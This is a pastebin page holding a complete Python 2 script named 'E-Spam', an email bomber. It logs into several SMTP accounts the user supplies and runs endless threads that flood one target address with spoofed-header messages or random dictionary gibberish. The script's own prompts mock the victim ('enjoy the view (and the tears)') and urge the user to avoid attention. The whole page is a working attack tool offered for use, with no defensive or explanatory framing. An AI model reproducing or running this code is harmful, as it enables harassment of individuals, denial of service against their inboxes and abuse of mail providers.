SHARE
TWEET

E-Spam

a guest Mar 29th, 2015 848 Never
  1. #For dic flooding, You need a dictionary file, one line per "word".
  2. #It will be loaded on the run.
  3. import smtplib as s
  4. import getpass
  5. from email.MIMEMultipart import MIMEMultipart
  6. from email.MIMEText import MIMEText
  7. import random
  8. import thread
  9. import time
  10. want=1
  11. acc=0
  12. b=0
  13. global ses
  14. ses=[]
  15. def read_dic():
  16.         FTL=raw_input("File to load : ")
  17.         f=file(FTL,'r')
  18.         global dic
  19.         dic=f.readlines()
  20.         f.close()
  21.         global nwords
  22.         nwords = len(dic)
  23.  
  24. def shitmail():
  25.  
  26.  shit = ""
  27.  r=random.randint(1,nwords-1 )
  28.  shit = shit + dic[r].rstrip() +"."
  29.  r=random.randint(1,nwords-1 )
  30.  shit = shit + dic[r].rstrip() +"@"
  31.  r=random.randint(1,nwords-1 )
  32.  shit = shit + dic[r].rstrip() +"."
  33.  r=random.randint(1,nwords-1 )
  34.  shit = shit + dic[r].rstrip()
  35.  
  36.  return shit   
  37.        
  38. def shitmaker(MaxBL):
  39.  
  40.         BL = random.randint(1, MaxBL)  
  41.         shit = ""
  42.         i=0
  43.         while (i < BL):
  44.                 r=random.randint(1,nwords-1)
  45.                 if((r+BL)%7!=0):
  46.                         shit = shit + dic[r].rstrip() +" "
  47.                 elif((r+BL)%3==0) :
  48.                         shit = shit + dic[r].rstrip() +". \n"
  49.                 elif((r+BL)%2==0):
  50.                         shit = shit + dic[r].rstrip().capitalize() + " "
  51.                 elif((r+BL)%5==0):
  52.                         shit = shit + str(r/BL) + " "
  53.                 elif((r+BL)%11==0):
  54.                         shit = shit  +" "
  55.                 else :
  56.                         shit = shit + dic[r].rstrip() +". "
  57.                 i+=1;  
  58.         return shit
  59.  
  60. def POSS(session):
  61.         while 1:
  62.                 global b
  63.                 msg = MIMEMultipart()
  64.                 msg['From'] = shitmail()
  65.                 msg['To'] = shitmail()
  66.                 msg['Subject'] = shitmaker(6)
  67.                 body = shitmaker(1000)
  68.                 msg.attach(MIMEText(body, 'plain'))
  69.                 text = msg.as_string()
  70.                 session[0].sendmail(session[1], v_email, text)
  71.                 b=b+1
  72.  
  73. def POS(session,se,re,su,tex):
  74.         while 1:
  75.                 global b
  76.                 msg = MIMEMultipart()
  77.                 msg['From'] = se
  78.                 msg['To'] = re
  79.                 msg['Subject'] = su
  80.                 body = tex
  81.                 msg.attach(MIMEText(body, 'plain'))
  82.                 text = msg.as_string()
  83.                 session[0].sendmail(session[1], v_email, text)
  84.                 b=b+1
  85.  
  86. def getlogin():
  87.         try:   
  88.                 global want,acc
  89.                 username = raw_input("Username / Email  (user@server.whatever): ")
  90.                                        
  91.                 password = getpass.getpass(prompt='Password: ')
  92.                 server_port = raw_input("server.domain:port :")
  93.                 obj = s.SMTP(server_port)
  94.                 obj.starttls()
  95.                 obj.login(username, password)
  96.                 print "to start the attack, enter 'm' (annything else makes more accounts!)"
  97.                 m=raw_input("")
  98.                 acc = acc+1
  99.                 if(m=="m"):
  100.                         want=0
  101.                 return (obj,username)
  102.  
  103.         except :
  104.                 print "something went wrong, try again."
  105.  
  106.  
  107.        
  108.  
  109. print "Welcome abord E-Spam, a multitask, multi-account, dictionary E-Mail bomber."
  110. print "Please use it carefully, in order to avoid unvanted attention."
  111. print "First select the luky choosen one : "
  112. v_email=raw_input("TARGET : ")
  113. print "Now, we need to login on one or more E-Mail accounts in order to get started."
  114. print "(For each login a process wil be started, you can login on the same account multiple times with differents ports) "
  115. #print "(if you have succesfully logged in on enghout accounts,"
  116. #print "you can start the fun by typing 0 in the username field)"
  117. while want==1:
  118.         ses.insert(acc,getlogin())
  119. #       print "sorry, but no valid account was given."
  120. print "Select the bomb for the target. "
  121. cm=raw_input("for Special Message'm', else dico ")
  122. if(cm=='m'):
  123.         print("the following will only affect what is shown in the mail, nothing else")
  124.         se=raw_input("from : ")
  125.         re=raw_input("to : ")
  126.         su=raw_input("subjet : ")
  127.         tex=raw_input("enter the message : ")
  128.         print " Bombs loaded. Target on sight."
  129.         print "we are now starting to bomb, please enjoy the view (and the tears)"
  130.         for p in ses :
  131.                 thread.start_new_thread(POS,(p,se,re,su,tex,))
  132.         print "We hope you are enjoying this flight."
  133.         while 1:
  134.                 time.sleep(1)
  135.                 print "bombs dropped : ",
  136.                 print b
  137.  
  138.  
  139. else:
  140.         read_dic()
  141.         print " Bombs loaded. Target on sight."
  142.         print "we are now starting to bomb, please enjoy the view (and the tears)"
  143.         for p in ses :
  144.                 thread.start_new_thread(POSS,(p,))
  145.         print "We hope you are enjoying this flight."
  146.         while 1:
  147.                 time.sleep(1)
  148.                 print "bombs dropped : ",
  149.                 print b
RAW Paste Data
Top